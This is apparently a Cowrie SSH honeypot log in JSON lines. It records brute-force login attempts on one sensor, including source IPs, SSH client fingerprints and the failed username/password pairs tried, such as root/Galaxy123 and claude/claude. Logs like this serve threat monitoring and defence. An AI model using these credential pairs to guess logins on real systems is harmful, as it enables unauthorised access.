{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"92:53:c2:45:64:14:44:b5:bb:23:e7:0e:f1:43:d2:5f","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDIHOZv7Y48fd8PViQw8eOnHzHW2ma+L9ATe2qfrvUvEsBgKG5sjQ95gsgbzQzsPvzutkesAuECtD3oj/USIe4eOqyOh/HG1a6MKuflXM3qQUEDaniKYYl2ppofsPdmI5bcgv/lY2ld44CeYIoPnO/FdSUcvNebbIQRkBmbekb+4uSKKOrSdRAuYYAOvLlPYXIcNHWF6pQMfTtqnM3G/hGf2htD0m4N5BuQqV4a5T3nvFnige9wBVCAg2jHOPD4Mx4UGbfG9LaR12rQ9KM0Gv5IDItdV14M81vSshwLBo0EvWYu5WgNoH34xJfRk21U469ve9Ve4AbP4K2Mbo3lSAsH","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 92:53:c2:45:64:14:44:b5:bb:23:e7:0e:f1:43:d2:5f","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:53:47.667461Z","src_ip":"139.19.117.129","session":"d33f84d1b84f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"92:53:c2:45:64:14:44:b5:bb:23:e7:0e:f1:43:d2:5f","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDIHOZv7Y48fd8PViQw8eOnHzHW2ma+L9ATe2qfrvUvEsBgKG5sjQ95gsgbzQzsPvzutkesAuECtD3oj/USIe4eOqyOh/HG1a6MKuflXM3qQUEDaniKYYl2ppofsPdmI5bcgv/lY2ld44CeYIoPnO/FdSUcvNebbIQRkBmbekb+4uSKKOrSdRAuYYAOvLlPYXIcNHWF6pQMfTtqnM3G/hGf2htD0m4N5BuQqV4a5T3nvFnige9wBVCAg2jHOPD4Mx4UGbfG9LaR12rQ9KM0Gv5IDItdV14M81vSshwLBo0EvWYu5WgNoH34xJfRk21U469ve9Ve4AbP4K2Mbo3lSAsH","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:53:47.671499Z","src_ip":"139.19.117.129","session":"d33f84d1b84f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"10.0","message":"Connection lost after 10.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:53:57.247681Z","src_ip":"139.19.117.129","session":"d33f84d1b84f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.173.38.229","src_port":60910,"dst_ip":"10.17.0.5","dst_port":22,"session":"5b121a8f131b","protocol":"ssh","message":"New connection: 62.173.38.229:60910 (10.17.0.5:22) [session: 5b121a8f131b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:53:59.988922Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:53:59.994291Z","src_ip":"62.173.38.229","session":"5b121a8f131b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:54:00.223359Z","src_ip":"62.173.38.229","session":"5b121a8f131b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"9874","message":"login attempt [root/9874] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:54:01.034583Z","src_ip":"62.173.38.229","session":"5b121a8f131b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.66.52.41","src_port":35811,"dst_ip":"10.17.0.5","dst_port":22,"session":"189ec6066e00","protocol":"ssh","message":"New connection: 45.66.52.41:35811 (10.17.0.5:22) [session: 189ec6066e00]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:54:02.201924Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:54:02.212525Z","src_ip":"45.66.52.41","session":"189ec6066e00","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:54:02.241739Z","src_ip":"62.173.38.229","session":"5b121a8f131b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:54:02.399822Z","src_ip":"45.66.52.41","session":"189ec6066e00","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Galaxy123","message":"login attempt [root/Galaxy123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:54:03.157307Z","src_ip":"45.66.52.41","session":"189ec6066e00","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:54:04.449184Z","src_ip":"45.66.52.41","session":"189ec6066e00","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"109.172.54.111","src_port":52720,"dst_ip":"159.203.135.109","dst_port":22,"session":"97a29cf2f05d","protocol":"ssh","message":"New connection: 109.172.54.111:52720 (159.203.135.109:22) [session: 97a29cf2f05d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:54:11.811912Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:54:11.817229Z","src_ip":"109.172.54.111","session":"97a29cf2f05d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:54:11.916776Z","src_ip":"109.172.54.111","session":"97a29cf2f05d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qvellfdy12","message":"login attempt [root/qvellfdy12] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:54:12.217505Z","src_ip":"109.172.54.111","session":"97a29cf2f05d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:54:13.324954Z","src_ip":"109.172.54.111","session":"97a29cf2f05d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.128.102.61","src_port":47086,"dst_ip":"10.17.0.5","dst_port":22,"session":"4116fcc57239","protocol":"ssh","message":"New connection: 43.128.102.61:47086 (10.17.0.5:22) [session: 4116fcc57239]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:54:24.202746Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:54:24.207480Z","src_ip":"43.128.102.61","session":"4116fcc57239","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:54:24.436771Z","src_ip":"43.128.102.61","session":"4116fcc57239","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"aa12345","message":"login attempt [root/aa12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:54:25.388489Z","src_ip":"43.128.102.61","session":"4116fcc57239","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:54:26.621340Z","src_ip":"43.128.102.61","session":"4116fcc57239","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"181.188.176.245","src_port":56390,"dst_ip":"10.17.0.5","dst_port":22,"session":"186260d8bbd6","protocol":"ssh","message":"New connection: 181.188.176.245:56390 (10.17.0.5:22) [session: 186260d8bbd6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:54:33.863778Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:54:33.868945Z","src_ip":"181.188.176.245","session":"186260d8bbd6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:54:34.035562Z","src_ip":"181.188.176.245","session":"186260d8bbd6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"claude","password":"claude","message":"login attempt [claude/claude] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:54:34.732040Z","src_ip":"181.188.176.245","session":"186260d8bbd6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:54:35.905038Z","src_ip":"181.188.176.245","session":"186260d8bbd6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.184","src_port":56078,"dst_ip":"10.17.0.5","dst_port":22,"session":"72b51c02e9e9","protocol":"ssh","message":"New connection: 80.94.92.184:56078 (10.17.0.5:22) [session: 72b51c02e9e9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:54:43.786003Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:54:43.963328Z","src_ip":"80.94.92.184","session":"72b51c02e9e9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:54:43.966863Z","src_ip":"80.94.92.184","session":"72b51c02e9e9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.82.132.16","src_port":55966,"dst_ip":"159.203.135.109","dst_port":22,"session":"dd112e69fc4b","protocol":"ssh","message":"New connection: 103.82.132.16:55966 (159.203.135.109:22) [session: dd112e69fc4b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:54:45.214261Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:54:45.219136Z","src_ip":"103.82.132.16","session":"dd112e69fc4b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:54:45.478783Z","src_ip":"103.82.132.16","session":"dd112e69fc4b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solv","password":"qwerty1234","message":"login attempt [solv/qwerty1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:54:45.800137Z","src_ip":"80.94.92.184","session":"72b51c02e9e9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.149.170.125","src_port":54622,"dst_ip":"10.17.0.5","dst_port":22,"session":"cd68ad4e5f40","protocol":"ssh","message":"New connection: 103.149.170.125:54622 (10.17.0.5:22) [session: cd68ad4e5f40]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:54:45.942791Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:54:45.957730Z","src_ip":"103.149.170.125","session":"cd68ad4e5f40","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:54:46.232711Z","src_ip":"103.149.170.125","session":"cd68ad4e5f40","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"bdfyjdf","message":"login attempt [root/bdfyjdf] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:54:46.259965Z","src_ip":"103.82.132.16","session":"dd112e69fc4b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"manchester","message":"login attempt [root/manchester] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:54:47.056266Z","src_ip":"103.149.170.125","session":"cd68ad4e5f40","protocol":"ssh"}
